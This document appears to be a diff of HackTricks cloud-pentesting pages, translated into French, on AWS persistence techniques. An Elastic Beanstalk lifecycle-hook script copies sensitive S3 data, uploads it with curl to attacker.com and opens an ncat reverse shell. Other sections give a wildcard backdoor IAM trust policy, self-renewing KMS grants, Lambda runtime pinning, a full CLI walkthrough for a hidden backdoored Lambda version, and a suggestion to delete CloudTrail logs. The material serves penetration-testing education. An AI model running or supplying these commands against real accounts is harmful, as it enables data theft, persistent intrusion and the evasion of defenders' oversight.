aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Elastic Beanstalk Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistance dans l'instance
|
||||
|
||||
Pour maintenir la persistance dans le compte AWS, un **mécanisme de persistance pourrait être introduit dans l'instance** (cron job, ssh key...) permettant à l'attaquant d'y accéder et de voler IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor dans la version
|
||||
|
||||
Un attaquant pourrait introduire un backdoor dans le code du repo S3 afin qu'il exécute toujours son backdoor en plus du code attendu.
|
||||
|
||||
### Nouvelle backdoored version
|
||||
|
||||
Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle backdoored version de l'application.
|
||||
|
||||
### Abuser des Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
|
||||
Elastic Beanstalk fournit des lifecycle hooks qui permettent d'exécuter des scripts personnalisés lors du provisioning et de la terminaison des instances. Un attaquant pourrait **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,53 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistance IAM courante
|
||||
|
||||
- Créer un utilisateur
|
||||
- Ajouter un utilisateur contrôlé à un groupe privilégié
|
||||
- Créer des clés d'accès (du nouvel utilisateur ou de tous les utilisateurs)
|
||||
- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques inline)
|
||||
- Désactiver le MFA / Ajouter votre propre appareil MFA
|
||||
- Créer une situation de Role Chain Juggling (plus d'infos ci-dessous dans la persistance STS)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Vous pouvez backdoor une trust policy afin de pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Donner des permissions Administrator à une policy qui n'est pas dans sa dernière version (la dernière version doit sembler légitime), puis assigner cette version de la policy à un user/group contrôlé.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Si le compte fait déjà confiance à un identity provider courant (comme Github), les conditions du trust pourraient être étendues afin que l'attaquant puisse en abuser.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,43 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner l'accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../../aws-privilege-escalation/aws-kms-privesc/README.md) pour plus d'informations.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Les grants sont une autre manière d'accorder à un principal des permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
|
||||
|
||||
Ainsi, il est possible qu'un utilisateur possède 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
|
||||
|
||||
(Nous utilisons 10 et non 2 afin de pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur possède encore des grants)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Un grant peut accorder des permissions uniquement depuis ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
En abusant des Lambda Layers il est aussi possible d'abuser des extensions pour persister dans la lambda mais aussi de voler et modifier des requêtes.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,7 +28,7 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Il est possible d'accorder l'accès à différentes actions de lambda (such as invoke or update code) à des comptes externes :
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,25 +44,90 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Le fait que vous puissiez faire **exécuter des fonctions lambda quand quelque chose se produit ou après un certain temps** rend lambda un moyen courant et efficace pour obtenir de la persistance et éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
|
||||
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Un attaquant disposant des permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, et lambda:GetRuntimeManagementConfig peut modifier la configuration de runtime management d'une fonction. Cette attaque est particulièrement efficace lorsque l'objectif est de maintenir une fonction Lambda sur une version de runtime vulnérable ou de préserver la compatibilité avec des layers malveillants qui pourraient être incompatibles avec des runtimes plus récents.
|
||||
|
||||
L'attaquant modifie la runtime management configuration pour épingler la version du runtime :
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Vérifiez la configuration appliquée :
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Optionnel : verrouiller sur une version spécifique du runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Épingler une version de runtime spécifique :
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Abuser des extensions Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Extensions Lambda
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Les extensions internes** se fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme de temps d'exécution, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
|
||||
- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers temps d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **des temps d'exécution personnalisés**.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Pour plus d'informations sur [**comment fonctionnent les extensions lambda, consultez la documentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Extension externe pour la persistance, le vol de requêtes et la modification de requêtes
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Ceci est un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même ID utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
De plus, bien que les extensions Lambda aient la capacité de **s'abonner aux événements d'invocation**, AWS ne révèle pas les données brutes à ces extensions. Cela garantit que **les extensions ne peuvent pas accéder aux informations sensibles** transmises via la requête HTTP.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Le processus Init (Rapid) surveille toutes les requêtes API à [http://127.0.0.1:9001](http://127.0.0.1:9001/) tandis que les extensions Lambda sont initialisées et s'exécutent avant l'exécution de tout code d'exécution, mais après Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
La variable **`AWS_LAMBDA_RUNTIME_API`** indique l'**adresse IP** et le **numéro de port** de l'API Rapid aux **processus d'exécution enfants** et aux extensions supplémentaires.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> En changeant la variable d'environnement **`AWS_LAMBDA_RUNTIME_API`** à un **`port`** auquel nous avons accès, il est possible d'intercepter toutes les actions au sein de l'exécution Lambda (**man-in-the-middle**). Cela est possible car l'extension s'exécute avec les mêmes privilèges que Rapid Init, et le noyau du système permet la **modification de la mémoire des processus**, permettant l'altération du numéro de port.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) lors de son démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
L'outil [**lambda-spy**](https://github.com/clearvector/lambda-spy) a été créé pour effectuer cette **écriture en mémoire** et **voler des informations sensibles** des requêtes lambda, d'autres **requêtes d'extensions** et même **les modifier**.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
|
||||
Ceci est plus discret que d'exposer un Function URL et ne change pas l'alias principal de trafic.
|
||||
|
||||
## Permissions requises (attaquant)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Étapes d'attaque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publier une version cachée, ajouter une permission limitée par qualifier, invoquer en tant qu'attaquant</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
